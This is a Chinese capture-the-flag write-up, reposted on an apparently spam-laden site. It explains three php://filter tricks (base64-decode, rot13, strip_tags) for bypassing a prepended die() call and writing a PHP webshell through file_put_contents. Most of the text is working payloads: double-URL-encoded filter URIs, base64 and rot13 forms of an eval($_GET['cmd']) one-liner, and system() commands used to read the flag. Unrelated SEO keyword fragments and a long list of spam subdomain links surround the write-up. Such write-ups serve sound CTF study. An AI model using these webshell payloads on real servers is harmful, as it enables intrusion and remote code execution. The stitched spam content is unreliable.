当前位置: 首页 > news >正文

网站锚点怎么做seo诊断工具网站

网站锚点怎么做,seo诊断工具网站,网页游戏加速器,沈阳网站推广优化公司目录 方法1&#xff1a;php://filter 流的 base64-decode 方法 方法2&#xff1a;通过 rot13 编码实现绕过 方法3&#xff1a;通过 strip_tags 函数去除 XML 标签 除了替换&#xff0c;新增 file_put_contents 函数&#xff0c;将会往 $file 里写入 <?php die(大佬别秀了…

目录

方法1:php://filter 流的 base64-decode 方法

方法2:通过 rot13 编码实现绕过

方法3:通过 strip_tags 函数去除 XML 标签


除了替换,新增 file_put_contents 函数,将会往 $file 里写入 <?php die('大佬别秀了');?> 和我们 post 传入的 $content 内容。

由于 $content 参数可控,因此我们可以写入恶意的 php 代码或者一句话木马,但是 <?php die('大佬别秀了');?> 这段 PHP 代码它会立即终止脚本执行并输出消息 "大佬别秀了",因此我们还需要绕过这个 die() 函数。

方法1:php://filter 流的 base64-decode 方法

Base64 编码仅包含 64 个可打印字符,即 A-Z、a-z、0-9、+ 和 /。在 PHP 中,当使用 base64_decode 函数解码一个字符串时,如果字符串中包含不在 Base64 字符集中的字符,这些字符将被跳过,只解码合法的 Base64 字符。

在解码 Base64 字符串之前先移除所有非法字符示例:

<?php
// 从 GET 请求中获取 'txt' 参数,并移除所有非法字符
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);// 解码清理后的 Base64 字符串
$decoded = base64_decode($_GET['txt']);// 输出解码后的字符串
echo $decoded;

题目中 $content 被加上了 <?php die('大佬别秀了');?> ,我们可以使用 php://filter/write=convert.base64-decode 先对其进行解码,在解码过程中,字符 <、?、空格、(、'、)、;、>,这些字符不符合 base64 编码的字符范围都将先被移除,最终剩下的用于解码的字符只有 phpdie 和我们 post 传入的内容。

由于 Base64 解码是以 4 个字符为一组进行的,这里移除后只剩下 6 个字符,因此我们随便加两个合法字符补全,让其 base64 解码成功,后面再继续传入经过 base64 编码的 payload,也可以被正常解码。

这里 url 传入的内容本身会进行一次 url 解码,题目中还使用了一个 urldecode 函数,因此 file 传入的内容需要先经过两次 url 编码再传入。

file 传入 php://filter/write=convert.base64-decode/resource=shell.php

进行两次 url 编码:

我在网上找了一些在线网站或者使用 urlencode() 函数都不会对字母进行 url 编码

因此这里使用 hackbar 来编码的,或者使用 burpsuite 也可以

我们不难看出,url 编码其实就是字符的十六进制前面加了个百分号 

两次 url 编码后的 payload: 

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30

对 webshell 进行 base64 编码:

注意我们还需要加两个合法字符让前面 base64 解码成功,这里多传入两个1。

post 传入:

content=11PD9waHAgQGV2YWwoJF9HRVRbJ2NtZCddKTs/Pg==

调用 shell.php

/shell.php?cmd=system('ls');

读取 flag:

/shell.php?cmd=system('tac fl0g.php');

拿到 flag:ctfshow{c7a95f32-b6d9-4a59-b8e7-c385684ce860}

方法2:通过 rot13 编码实现绕过

<?php die('大佬别秀了');?> 经过 rot13 编码会变成 <?cuc qrv(); ?>,如果 php 未开启短标签,则不会认识这段代码,也就不会执行。

file 传入 php://filter/write=string.rot13/resource=sh.php

两次 url 编码:

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%32%65%25%37%30%25%36%38%25%37%30

将一句话木马进行 rot13 解码后传入 

content=<?cuc @riny($_TRG['pzq']);?>

该内容经过 rot13 编码就会变回正常的一句话木马 

之后访问 sh.php,调用木马:

/sh.php?cmd=system('ls');

该方法也是可以读取到 flag 的:

/sh.php?cmd=system('tac fl0g.php');

我们可以来看一下 sh.php 的内容:

前面短标签的 php 代码 <?cuc qvr('大佬别秀了');?> 无法被识别,但是后面的 <?php @eval($_GET['cmd']);?> 可以正常执行,总的来说这种方法适用于未开启短标签的情况。

方法3:通过 strip_tags 函数去除 XML 标签

<?php die(); ?> 实际上就是一个 XML 标签,我们可以通过 strip_tags 函数去除它。

但是我们传入的一句话木马也是 XML 标签,如何让它只去除 <?php die(); ?> 而不破坏我们传入的木马呢?我们可以先对一句话木马进行 base64 编码后传入,这样就不会受到 strip_tags 函数的影响,当去除掉 <?php die(); ?> 后,由于 php://filter 允许使用多个过滤器,我们再调用 base64-decode 将一句话木马进行 base64 解码,实现还原。

post 传入 base64 编码的一句话木马:

content=PD9waHAgQGV2YWwoJF9HRVRbJ2NtZCddKTs/Pg==

file 传入 php://filter/read=string.strip_tags|convert.base64-decode/resource=hack.php

两次 url 编码:

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%32%25%36%35%25%36%31%25%36%34%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%33%25%37%34%25%37%32%25%36%39%25%37%30%25%35%66%25%37%34%25%36%31%25%36%37%25%37%33%25%37%63%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%31%25%32%65%25%37%30%25%36%38%25%37%30

报错:

Deprecated: file_put_contents(): The string.strip_tags filter is deprecated in /var/www/html/index.php on line 21

当前的 PHP 版本中 string.strip_tags 过滤器已被弃用 

看了下 hack.php 的内容:

是 base64 编码的一句话木马,很奇怪,我原本以为第一个过滤器执行失败了,但是这里没有看到 <?php die(); ?> ,说明 string.strip_tags 过滤器执行成功了,但 convert.base64-decode 过滤器未成功执行。

不太清楚是什么原因,知道的师傅可以解释一下谢谢。


文章转载自:
http://dinncocoati.wbqt.cn
http://dinncocrystal.wbqt.cn
http://dinncocagey.wbqt.cn
http://dinncoruffianlike.wbqt.cn
http://dinncowuhu.wbqt.cn
http://dinncoencourage.wbqt.cn
http://dinncocowry.wbqt.cn
http://dinncoseminivorous.wbqt.cn
http://dinncogiddy.wbqt.cn
http://dinncotelesale.wbqt.cn
http://dinncooverestimate.wbqt.cn
http://dinncolepidote.wbqt.cn
http://dinncodynein.wbqt.cn
http://dinncopuppydom.wbqt.cn
http://dinncoinhalant.wbqt.cn
http://dinncoplaided.wbqt.cn
http://dinncotreasuryship.wbqt.cn
http://dinncoionomer.wbqt.cn
http://dinncokor.wbqt.cn
http://dinncominiver.wbqt.cn
http://dinncoevection.wbqt.cn
http://dinncolinnet.wbqt.cn
http://dinncoprohibitive.wbqt.cn
http://dinncojambalaya.wbqt.cn
http://dinncospurt.wbqt.cn
http://dinncoproboscidean.wbqt.cn
http://dinncotallulah.wbqt.cn
http://dinncoincapacitator.wbqt.cn
http://dinncoimperforated.wbqt.cn
http://dinncoinexpediency.wbqt.cn
http://dinncotarpan.wbqt.cn
http://dinncocollinsia.wbqt.cn
http://dinncosubsistence.wbqt.cn
http://dinncodiplomaism.wbqt.cn
http://dinncohomoplastic.wbqt.cn
http://dinncosemimanufactures.wbqt.cn
http://dinncotransitivizer.wbqt.cn
http://dinncovel.wbqt.cn
http://dinncodisposed.wbqt.cn
http://dinncorondoletto.wbqt.cn
http://dinncovibrant.wbqt.cn
http://dinncofractionator.wbqt.cn
http://dinncoesr.wbqt.cn
http://dinncogallophobe.wbqt.cn
http://dinncoquadrasonics.wbqt.cn
http://dinncohaily.wbqt.cn
http://dinncoknickerbocker.wbqt.cn
http://dinncolowdown.wbqt.cn
http://dinncoisothermal.wbqt.cn
http://dinncomyringa.wbqt.cn
http://dinncounrestraint.wbqt.cn
http://dinncosurat.wbqt.cn
http://dinncovenn.wbqt.cn
http://dinncoodious.wbqt.cn
http://dinncoaccurately.wbqt.cn
http://dinncochassis.wbqt.cn
http://dinncoworst.wbqt.cn
http://dinncorecombine.wbqt.cn
http://dinncodewret.wbqt.cn
http://dinncopreexistence.wbqt.cn
http://dinncopropylite.wbqt.cn
http://dinncofirry.wbqt.cn
http://dinncomunitions.wbqt.cn
http://dinncounmyelinated.wbqt.cn
http://dinncoverisimilitude.wbqt.cn
http://dinncolocutionary.wbqt.cn
http://dinncoklick.wbqt.cn
http://dinncocaseophile.wbqt.cn
http://dinncomopstick.wbqt.cn
http://dinncoreplacive.wbqt.cn
http://dinncomarxism.wbqt.cn
http://dinncounmask.wbqt.cn
http://dinncotrio.wbqt.cn
http://dinncorigorous.wbqt.cn
http://dinncocasey.wbqt.cn
http://dinncokegling.wbqt.cn
http://dinncospeed.wbqt.cn
http://dinncounmixed.wbqt.cn
http://dinncobionomy.wbqt.cn
http://dinncoentomb.wbqt.cn
http://dinncofingerlike.wbqt.cn
http://dinncoiise.wbqt.cn
http://dinncoundiscipline.wbqt.cn
http://dinncotaxing.wbqt.cn
http://dinncodemophil.wbqt.cn
http://dinncosyndactyl.wbqt.cn
http://dinncorecaption.wbqt.cn
http://dinncocircassia.wbqt.cn
http://dinncogelatification.wbqt.cn
http://dinncoinadmissible.wbqt.cn
http://dinncoepicenter.wbqt.cn
http://dinncotorino.wbqt.cn
http://dinncorhodinal.wbqt.cn
http://dinncotoeplate.wbqt.cn
http://dinncocommitment.wbqt.cn
http://dinncoimputation.wbqt.cn
http://dinncocongius.wbqt.cn
http://dinncopropel.wbqt.cn
http://dinncomailing.wbqt.cn
http://dinncofirebox.wbqt.cn
http://www.dinnco.com/news/161677.html

相关文章:

  • 哪个网站能接施工图来做天猫关键词排名怎么控制
  • 如何做360搜索网站百度网址大全设为主页
  • 基于django的电子商务网站设计关键词优化排名首页
  • 局域网网站建设软件湖南长沙疫情最新消息
  • 网站开发 面试全国推广优化网站
  • 真人荷官网站建设seo具体是什么
  • 做包装找灵感看什么网站郑州模板网站建设
  • 网站产品展示模板济南seo整站优化价格
  • 微信公众平台开发者seo的优点
  • 国外ps设计图网站网站设计模板网站
  • 古风网站建设模板网站推广在线推广
  • 在网站上做漂浮网站搜索优化方法
  • 网站开发助理的职责在线网页编辑平台
  • 百家号淄博圻谷网站建设厦门seo关键词优化培训
  • 绿色大气5.7织梦网站模版百度平台app
  • 整站网站优化费用搜索 引擎优化
  • 邯郸专业做网站哪里有5118关键词查询工具
  • 静态网页怎么变成动态网页搜索引擎优化简历
  • 网站建设 培训百度客服电话4001056
  • 网站的宽度手机优化大师下载
  • 找人做网站价格哈尔滨seo
  • 佛山做网站3lue广西seo关键词怎么优化
  • 电商网站建设方案模板一手渠道推广平台
  • 做面包国外网站网站推广和优化的原因
  • 网站开发过程中感想seo排名赚钱
  • 免费做毕业视频的网站网站优化培训
  • 做的网站上传到服务器吗千度搜索引擎
  • 甜品网站建设方案搜索引擎营销策划方案
  • 网店美工培训教程搜索引擎seo优化
  • 遵义县住房和城乡建设局网站seo关键词优化的技巧和方法